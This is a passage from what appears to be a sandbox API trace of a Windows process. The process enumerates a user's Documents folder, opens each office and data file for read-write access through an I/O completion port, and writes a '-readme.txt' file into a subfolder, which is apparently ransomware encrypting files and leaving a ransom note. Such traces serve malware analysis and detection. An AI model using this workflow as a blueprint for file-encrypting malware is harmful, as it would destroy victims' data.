NumberOfConcurrentThreads=0x0) returned 0x220 [0110.782] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397a3a0) returned 1 [0110.782] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0110.782] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0110.782] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0110.782] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90024340, ftCreationTime.dwHighDateTime=0x1d75aca, ftLastAccessTime.dwLowDateTime=0x89a64ad0, ftLastAccessTime.dwHighDateTime=0x1d75b35, ftLastWriteTime.dwLowDateTime=0x89a64ad0, ftLastWriteTime.dwHighDateTime=0x1d75b35, nFileSizeHigh=0x0, nFileSizeLow=0x2ae7, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="N6MTn7qEK2nADv.odt", cAlternateFileName="N6MTN7~1.ODT")) returned 1 [0110.782] PathFindExtensionW (pszPath="n6mtn7qek2nadv.odt") returned=".odt" [0110.782] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x2c37) returned 0x45966f8 [0110.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N6MTn7qEK2nADv.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\n6mtn7qek2nadv.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x35c [0110.783] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x20685f0 [0110.785] CreateIoCompletionPort (FileHandle=0x35c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.785] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45966f8) returned 1 [0110.785] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56273190, ftCreationTime.dwHighDateTime=0x1d758d0, ftLastAccessTime.dwLowDateTime=0x11788350, ftLastAccessTime.dwHighDateTime=0x1d75ab5, ftLastWriteTime.dwLowDateTime=0x11788350, ftLastWriteTime.dwHighDateTime=0x1d75ab5, nFileSizeHigh=0x0, nFileSizeLow=0x13b1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="N8CPfO-zjsOqif.xls", cAlternateFileName="N8CPFO~1.XLS")) returned 1 [0110.820] PathFindExtensionW (pszPath="n8cpfo-zjsoqif.xls") returned=".xls" [0110.820] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1501) returned 0x397cd90 [0110.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N8CPfO-zjsOqif.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\n8cpfo-zjsoqif.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x258 [0110.820] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068120 [0110.822] CreateIoCompletionPort (FileHandle=0x258, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.822] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397cd90) returned 1 [0110.822] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x372eb3e0, ftCreationTime.dwHighDateTime=0x1d74cb8, ftLastAccessTime.dwLowDateTime=0x7ddbe6f0, ftLastAccessTime.dwHighDateTime=0x1d75b4a, ftLastWriteTime.dwLowDateTime=0x7ddbe6f0, ftLastWriteTime.dwHighDateTime=0x1d75b4a, nFileSizeHigh=0x0, nFileSizeLow=0x18d05, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NpJmmrQh0nwG7_pUv.csv", cAlternateFileName="NPJMMR~1.CSV")) returned 1 [0110.822] PathFindExtensionW (pszPath="npjmmrqh0nwg7_puv.csv") returned=".csv" [0110.822] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x18e55) returned 0x38ab6c8 [0110.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\NpJmmrQh0nwG7_pUv.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\npjmmrqh0nwg7_puv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x25c [0110.822] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee350 [0110.824] CreateIoCompletionPort (FileHandle=0x25c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.824] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38ab6c8) returned 1 [0110.824] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c511bf0, ftCreationTime.dwHighDateTime=0x1d6e84f, ftLastAccessTime.dwLowDateTime=0xc7019a20, ftLastAccessTime.dwHighDateTime=0x1d75a30, ftLastWriteTime.dwLowDateTime=0xc7019a20, ftLastWriteTime.dwHighDateTime=0x1d75a30, nFileSizeHigh=0x0, nFileSizeLow=0xe81a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OOXxuWoBXn.docx", cAlternateFileName="OOXXUW~1.DOC")) returned 1 [0110.824] PathFindExtensionW (pszPath="ooxxuwobxn.docx") returned=".docx" [0110.824] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xe96a) returned 0x38c4528 [0110.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\OOXxuWoBXn.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\ooxxuwobxn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x264 [0110.824] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068660 [0110.825] CreateIoCompletionPort (FileHandle=0x264, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.826] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38c4528) returned 1 [0110.826] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24829c00, ftCreationTime.dwHighDateTime=0x1d75a4d, ftLastAccessTime.dwLowDateTime=0xb2e671e0, ftLastAccessTime.dwHighDateTime=0x1d75ae0, ftLastWriteTime.dwLowDateTime=0xb2e671e0, ftLastWriteTime.dwHighDateTime=0x1d75ae0, nFileSizeHigh=0x0, nFileSizeLow=0xcf71, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="othZzWJti-TuFa-zMAO.odp", cAlternateFileName="OTHZZW~1.ODP")) returned 1 [0110.826] PathFindExtensionW (pszPath="othzzwjti-tufa-zmao.odp") returned=".odp" [0110.826] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xd0c1) returned 0x38d2ea0 [0110.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\othZzWJti-TuFa-zMAO.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\othzzwjti-tufa-zmao.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x260 [0110.826] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x72) returned 0x369f700 [0110.828] CreateIoCompletionPort (FileHandle=0x260, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.828] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38d2ea0) returned 1 [0110.829] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0110.829] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040000 [0110.829] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2086438 [0110.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270 [0110.837] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.837] WriteFile (in: hFile=0x270, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.847] CloseHandle (hObject=0x270) returned 1 [0110.847] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bafeaa0, ftCreationTime.dwHighDateTime=0x1d75500, ftLastAccessTime.dwLowDateTime=0x117df740, ftLastAccessTime.dwHighDateTime=0x1d757a4, ftLastWriteTime.dwLowDateTime=0x117df740, ftLastWriteTime.dwHighDateTime=0x1d757a4, nFileSizeHigh=0x0, nFileSizeLow=0x12e3a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="pU7xrszOnuj.pptx", cAlternateFileName="PU7XRS~1.PPT")) returned 1 [0110.847] PathFindExtensionW (pszPath="pu7xrszonuj.pptx") returned=".pptx" [0110.848] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\pU7xrszOnuj.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\pu7xrszonuj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x270 [0110.849] CreateIoCompletionPort (FileHandle=0x270, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.849] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38dff70) returned 1 [0110.849] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a30d10, ftCreationTime.dwHighDateTime=0x1d75ad0, ftLastAccessTime.dwLowDateTime=0x9d17b670, ftLastAccessTime.dwHighDateTime=0x1d75cb2, ftLastWriteTime.dwLowDateTime=0x9d17b670, ftLastWriteTime.dwHighDateTime=0x1d75cb2, nFileSizeHigh=0x0, nFileSizeLow=0x4b3a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PuoJ2S5Mug.odp", cAlternateFileName="PUOJ2S~1.ODP")) returned 1 [0110.849] PathFindExtensionW (pszPath="puoj2s5mug.odp") returned=".odp" [0110.850] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PuoJ2S5Mug.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\puoj2s5mug.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x280 [0110.851] CreateIoCompletionPort (FileHandle=0x280, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.851] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f2f08) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdf1450, ftCreationTime.dwHighDateTime=0x1d74e74, ftLastAccessTime.dwLowDateTime=0xb5f4e740, ftLastAccessTime.dwHighDateTime=0x1d75c89, ftLastWriteTime.dwLowDateTime=0xb5f4e740, ftLastWriteTime.dwHighDateTime=0x1d75c89, nFileSizeHigh=0x0, nFileSizeLow=0x1757e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PWlklR.odp", cAlternateFileName="")) returned 1 [0110.852] PathFindExtensionW (pszPath="pwlklr.odp") returned=".odp" [0110.854] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PWlklR.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\pwlklr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x360 [0110.855] CreateIoCompletionPort (FileHandle=0x360, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.856] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45b2eb0) returned 1 [0110.856] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba7d5490, ftCreationTime.dwHighDateTime=0x1d71356, ftLastAccessTime.dwLowDateTime=0x10f18390, ftLastAccessTime.dwHighDateTime=0x1d73af9, ftLastWriteTime.dwLowDateTime=0x10f18390, ftLastWriteTime.dwHighDateTime=0x1d73af9, nFileSizeHigh=0x0, nFileSizeLow=0x700d, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="QhYEo-WKA63tNNVSpa.docx", cAlternateFileName="QHYEO-~1.DOC")) returned 1 [0110.856] PathFindExtensionW (pszPath="qhyeo-wka63tnnvspa.docx") returned=".docx" [0110.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\QhYEo-WKA63tNNVSpa.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qhyeo-wka63tnnvspa.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x364 [0110.857] CreateIoCompletionPort (FileHandle=0x364, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.858] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45ca588) returned 1 [0110.858] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb3e7c0, ftCreationTime.dwHighDateTime=0x1d75d2a, ftLastAccessTime.dwLowDateTime=0x83236c80, ftLastAccessTime.dwHighDateTime=0x1d75d2c, ftLastWriteTime.dwLowDateTime=0x83236c80, ftLastWriteTime.dwHighDateTime=0x1d75d2c, nFileSizeHigh=0x0, nFileSizeLow=0xfd5b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="RYu7G-GPCGAN4l7O.odp", cAlternateFileName="RYU7G-~1.ODP")) returned 1 [0110.858] PathFindExtensionW (pszPath="ryu7g-gpcgan4l7o.odp") returned=".odp" [0110.858] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\RYu7G-GPCGAN4l7O.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\ryu7g-gpcgan4l7o.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x368 [0110.859] CreateIoCompletionPort (FileHandle=0x368, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.860] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45d16f0) returned 1 [0110.860] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5febbe0, ftCreationTime.dwHighDateTime=0x1d75431, ftLastAccessTime.dwLowDateTime=0xc09a3690, ftLastAccessTime.dwHighDateTime=0x1d75857, ftLastWriteTime.dwLowDateTime=0xc09a3690, ftLastWriteTime.dwHighDateTime=0x1d75857, nFileSizeHigh=0x0, nFileSizeLow=0x15547, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SGiE0.pptx", cAlternateFileName="SGIE0~1.PPT")) returned 1 [0110.860] PathFindExtensionW (pszPath="sgie0.pptx") returned=".pptx" [0110.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\SGiE0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\sgie0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x36c [0110.862] CreateIoCompletionPort (FileHandle=0x36c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.862] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45e15a8) returned 1 [0110.862] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40579000, ftCreationTime.dwHighDateTime=0x1d75284, ftLastAccessTime.dwLowDateTime=0x2893ff30, ftLastAccessTime.dwHighDateTime=0x1d75563, ftLastWriteTime.dwLowDateTime=0x2893ff30, ftLastWriteTime.dwHighDateTime=0x1d75563, nFileSizeHigh=0x0, nFileSizeLow=0x11a27, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="t4hmzP4sxl.doc", cAlternateFileName="T4HMZP~1.DOC")) returned 1 [0110.862] PathFindExtensionW (pszPath="t4hmzp4sxl.doc") returned=".doc" [0110.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\t4hmzP4sxl.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\t4hmzp4sxl.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x370 [0110.864] CreateIoCompletionPort (FileHandle=0x370, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.864] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45f6c48) returned 1 [0110.864] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e508ad0, ftCreationTime.dwHighDateTime=0x1d725cd, ftLastAccessTime.dwLowDateTime=0xcae006a0, ftLastAccessTime.dwHighDateTime=0x1d74454, ftLastWriteTime.dwLowDateTime=0xcae006a0, ftLastWriteTime.dwHighDateTime=0x1d74454, nFileSizeHigh=0x0, nFileSizeLow=0x4763, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="TkZtgo9eUgYlcNaPSWlL.xlsx", cAlternateFileName="TKZTGO~1.XLS")) returned 1 [0110.864] PathFindExtensionW (pszPath="tkztgo9eugylcnapswll.xlsx") returned=".xlsx" [0110.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TkZtgo9eUgYlcNaPSWlL.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\tkztgo9eugylcnapswll.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x374 [0110.866] CreateIoCompletionPort (FileHandle=0x374, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.866] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4599338) returned 1 [0110.866] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e9e7660, ftCreationTime.dwHighDateTime=0x1d6fe3f, ftLastAccessTime.dwLowDateTime=0x9e2fa410, ftLastAccessTime.dwHighDateTime=0x1d72d68, ftLastWriteTime.dwLowDateTime=0x9e2fa410, ftLastWriteTime.dwHighDateTime=0x1d72d68, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="TQAB2NjEL6JO02B_.xlsx", cAlternateFileName="TQAB2N~1.XLS")) returned 1 [0110.866] PathFindExtensionW (pszPath="tqab2njel6jo02b_.xlsx") returned=".xlsx" [0110.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TQAB2NjEL6JO02B_.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\tqab2njel6jo02b_.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x378 [0110.868] CreateIoCompletionPort (FileHandle=0x378, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.868] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f7ba0) returned 1 [0110.868] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca42a10, ftCreationTime.dwHighDateTime=0x1d6fd75, ftLastAccessTime.dwLowDateTime=0x98d763e0, ftLastAccessTime.dwHighDateTime=0x1d71ba7, ftLastWriteTime.dwLowDateTime=0x98d763e0, ftLastWriteTime.dwHighDateTime=0x1d71ba7, nFileSizeHigh=0x0, nFileSizeLow=0x17b65, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="TtXfXxvP2sv01dTtReh.docx", cAlternateFileName="TTXFXX~1.DOC")) returned 1 [0110.868] PathFindExtensionW (pszPath="ttxfxxvp2sv01dttreh.docx") returned=".docx" [0110.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TtXfXxvP2sv01dTtReh.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\ttxfxxvp2sv01dttreh.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x380 [0110.871] CreateIoCompletionPort (FileHandle=0x380, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.871] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46087c8) returned 1 [0110.871] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7d7390, ftCreationTime.dwHighDateTime=0x1d756b0, ftLastAccessTime.dwLowDateTime=0x41d63970, ftLastAccessTime.dwHighDateTime=0x1d75b87, ftLastWriteTime.dwLowDateTime=0x41d63970, ftLastWriteTime.dwHighDateTime=0x1d75b87, nFileSizeHigh=0x0, nFileSizeLow=0x132b7, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="U5KwAzHQh Ydz8Itp H.ppt", cAlternateFileName="U5KWAZ~1.PPT")) returned 1 [0110.871] PathFindExtensionW (pszPath="u5kwazhqh ydz8itp h.ppt") returned=".ppt" [0110.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\U5KwAzHQh Ydz8Itp H.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\u5kwazhqh ydz8itp h.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x384 [0110.873] CreateIoCompletionPort (FileHandle=0x384, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.873] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4620488) returned 1 [0110.873] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda532820, ftCreationTime.dwHighDateTime=0x1d7560f, ftLastAccessTime.dwLowDateTime=0x69f82ed0, ftLastAccessTime.dwHighDateTime=0x1d75afc, ftLastWriteTime.dwLowDateTime=0x69f82ed0, ftLastWriteTime.dwHighDateTime=0x1d75afc, nFileSizeHigh=0x0, nFileSizeLow=0x16ee1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="uEWQ Dy-Fw0wiatk6.docx", cAlternateFileName="UEWQDY~1.DOC")) returned 1 [0110.873] PathFindExtensionW (pszPath="uewq dy-fw0wiatk6.docx") 